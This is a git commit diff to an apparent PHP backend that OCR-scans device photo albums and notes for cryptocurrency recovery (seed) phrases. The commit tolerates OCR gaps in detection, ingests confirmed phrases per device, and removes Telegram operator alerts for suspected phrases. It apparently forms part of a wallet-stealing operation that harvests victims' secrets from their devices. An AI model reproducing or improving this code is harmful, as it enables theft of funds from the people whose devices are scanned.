feat: scan
This commit is contained in:
@@ -11,6 +11,10 @@ class MnemonicDetector
|
|||||||
|
|
||||||
public const MIN_SUSPECTED = 8;
|
public const MIN_SUSPECTED = 8;
|
||||||
|
|
||||||
|
public const MIN_GAPPED_HITS = 9;
|
||||||
|
|
||||||
|
public const MAX_GAPS = 2;
|
||||||
|
|
||||||
public const MIN_CONFIRMED = 12;
|
public const MIN_CONFIRMED = 12;
|
||||||
|
|
||||||
public const MIN_UNIQUE = 8;
|
public const MIN_UNIQUE = 8;
|
||||||
@@ -180,31 +184,45 @@ class MnemonicDetector
|
|||||||
{
|
{
|
||||||
$n = count($tokens);
|
$n = count($tokens);
|
||||||
$best = null;
|
$best = null;
|
||||||
$maxLen = min(24, $n);
|
for ($i = 0; $i < $n; $i++) {
|
||||||
for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
|
if ($tokens[$i] === '' || ! isset($wordlist[$tokens[$i]])) {
|
||||||
for ($i = 0; $i <= $n - $len; $i++) {
|
continue;
|
||||||
$window = array_slice($tokens, $i, $len);
|
|
||||||
$hits = 0;
|
|
||||||
foreach ($window as $word) {
|
|
||||||
if ($word !== '' && isset($wordlist[$word])) {
|
|
||||||
$hits++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if ($hits < self::MIN_SUSPECTED) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$score = ($hits * 10) - (($len - $hits) * 2);
|
|
||||||
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$best = [
|
|
||||||
'candidate' => implode(' ', $window),
|
|
||||||
'word_count' => $hits,
|
|
||||||
'score' => $score,
|
|
||||||
'language' => 'en',
|
|
||||||
'confirmed' => false,
|
|
||||||
];
|
|
||||||
}
|
}
|
||||||
|
$hits = 0;
|
||||||
|
$gaps = 0;
|
||||||
|
$end = $i;
|
||||||
|
for ($j = $i; $j < $n; $j++) {
|
||||||
|
$word = $tokens[$j];
|
||||||
|
if ($word !== '' && isset($wordlist[$word])) {
|
||||||
|
$hits++;
|
||||||
|
$end = $j;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$next = $tokens[$j + 1] ?? null;
|
||||||
|
if ($gaps < self::MAX_GAPS && $next !== null && $next !== '' && isset($wordlist[$next])) {
|
||||||
|
$gaps++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
$minHits = $gaps === 0 ? self::MIN_SUSPECTED : self::MIN_GAPPED_HITS;
|
||||||
|
if ($hits < $minHits) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$window = array_slice($tokens, $i, $end - $i + 1);
|
||||||
|
$score = ($hits * 10) - ($gaps * 4);
|
||||||
|
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$best = [
|
||||||
|
'candidate' => implode(' ', $window),
|
||||||
|
'word_count' => $hits,
|
||||||
|
'score' => $score,
|
||||||
|
'language' => 'en',
|
||||||
|
'confirmed' => false,
|
||||||
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
return $best;
|
return $best;
|
||||||
|
|||||||
@@ -13,7 +13,6 @@ use App\Services\Chain\Bip44;
|
|||||||
use App\Services\Ocr\OcrDriver;
|
use App\Services\Ocr\OcrDriver;
|
||||||
use App\Services\Ocr\PhotoOcrPreparer;
|
use App\Services\Ocr\PhotoOcrPreparer;
|
||||||
use App\Support\NoteContent;
|
use App\Support\NoteContent;
|
||||||
use App\Support\WalletSource;
|
|
||||||
use Illuminate\Support\Facades\Log;
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
class MnemonicScanService
|
class MnemonicScanService
|
||||||
@@ -23,7 +22,6 @@ class MnemonicScanService
|
|||||||
private readonly OcrDriver $ocr,
|
private readonly OcrDriver $ocr,
|
||||||
private readonly PhotoOcrPreparer $preparer,
|
private readonly PhotoOcrPreparer $preparer,
|
||||||
private readonly IngestService $ingest,
|
private readonly IngestService $ingest,
|
||||||
private readonly TelegramNotifier $telegram,
|
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public function dispatchPhoto(Photo $photo): void
|
public function dispatchPhoto(Photo $photo): void
|
||||||
@@ -281,8 +279,6 @@ class MnemonicScanService
|
|||||||
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
$wasNew = ! $row->exists;
|
|
||||||
$prevCandidate = $row->exists ? $row->candidate : '';
|
|
||||||
$confirmed = $this->canIngestHit($hit);
|
$confirmed = $this->canIngestHit($hit);
|
||||||
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
||||||
$row->candidate = $hit['candidate'];
|
$row->candidate = $hit['candidate'];
|
||||||
@@ -295,24 +291,11 @@ class MnemonicScanService
|
|||||||
}
|
}
|
||||||
$row->save();
|
$row->save();
|
||||||
|
|
||||||
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
|
|
||||||
? WalletSource::fromTag('album_ocr')
|
|
||||||
: WalletSource::fromTag('note_scan');
|
|
||||||
if ($confirmed) {
|
if ($confirmed) {
|
||||||
$this->ingest->ingestMnemonic($device, [
|
$this->ingest->ingestMnemonic($device, [
|
||||||
'mnemonic' => $hit['candidate'],
|
'mnemonic' => $hit['candidate'],
|
||||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if ($wasNew || $prevCandidate !== $hit['candidate']) {
|
|
||||||
$this->telegram->notifySuspectedMnemonic(
|
|
||||||
$device->device_id,
|
|
||||||
$sourceLabel,
|
|
||||||
$hit['candidate'],
|
|
||||||
(int) $hit['word_count'],
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -322,17 +322,6 @@ class TelegramNotifier
|
|||||||
]), $deviceId);
|
]), $deviceId);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
|
|
||||||
{
|
|
||||||
$this->send(implode("\n", [
|
|
||||||
'🔎 <b>疑似助记词</b>',
|
|
||||||
...$this->deviceHeader($deviceId),
|
|
||||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
|
||||||
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
|
|
||||||
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
|
|
||||||
]), $deviceId);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||||
{
|
{
|
||||||
$this->send(implode("\n", [
|
$this->send(implode("\n", [
|
||||||
|
|||||||
@@ -216,6 +216,11 @@ TXT;
|
|||||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
|
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
|
||||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
|
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
|
||||||
$this->assertSame(0, $device->mnemonics()->count());
|
$this->assertSame(0, $device->mnemonics()->count());
|
||||||
|
Http::assertNotSent(function ($request) {
|
||||||
|
$text = (string) ($request->data()['text'] ?? '');
|
||||||
|
|
||||||
|
return str_contains($text, '疑似助记词') || str_contains($text, '新助记词');
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ class MnemonicDetectorTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function marks_nine_hits_as_suspected_not_confirmed(): void
|
public function marks_dense_ocr_holes_as_suspected_not_confirmed(): void
|
||||||
{
|
{
|
||||||
$ocr = <<<'TXT'
|
$ocr = <<<'TXT'
|
||||||
palance cousin endorse
|
palance cousin endorse
|
||||||
@@ -52,7 +52,7 @@ TXT;
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function eight_hits_are_suspected(): void
|
public function eight_consecutive_hits_are_suspected(): void
|
||||||
{
|
{
|
||||||
$text = 'cousin endorse refuse private dog solution april picture';
|
$text = 'cousin endorse refuse private dog solution april picture';
|
||||||
$hit = (new MnemonicDetector)->detect($text);
|
$hit = (new MnemonicDetector)->detect($text);
|
||||||
@@ -62,6 +62,27 @@ TXT;
|
|||||||
$this->assertSame(8, $hit['word_count']);
|
$this->assertSame(8, $hit['word_count']);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function ignores_sparse_english_prose(): void
|
||||||
|
{
|
||||||
|
$ocr = '7134 bom CA i a ating Heath Mag Daly craving If You\'re Craving Sugar '
|
||||||
|
.'Your body may need protein + stable blood sugar What\'s happening: Blood sugar spikes '
|
||||||
|
.'crash more cravings what eat instead cogs chicken';
|
||||||
|
|
||||||
|
$this->assertNull((new MnemonicDetector)->detect($ocr));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function two_ocr_holes_with_ten_hits_are_suspected(): void
|
||||||
|
{
|
||||||
|
$ocr = 'cousin endorse refuse private dog solution puddy april picture father palance lab';
|
||||||
|
$hit = (new MnemonicDetector)->detect($ocr);
|
||||||
|
|
||||||
|
$this->assertNotNull($hit);
|
||||||
|
$this->assertFalse($hit['confirmed']);
|
||||||
|
$this->assertSame(10, $hit['word_count']);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function ignores_repetitive_plumbing_copy(): void
|
public function ignores_repetitive_plumbing_copy(): void
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user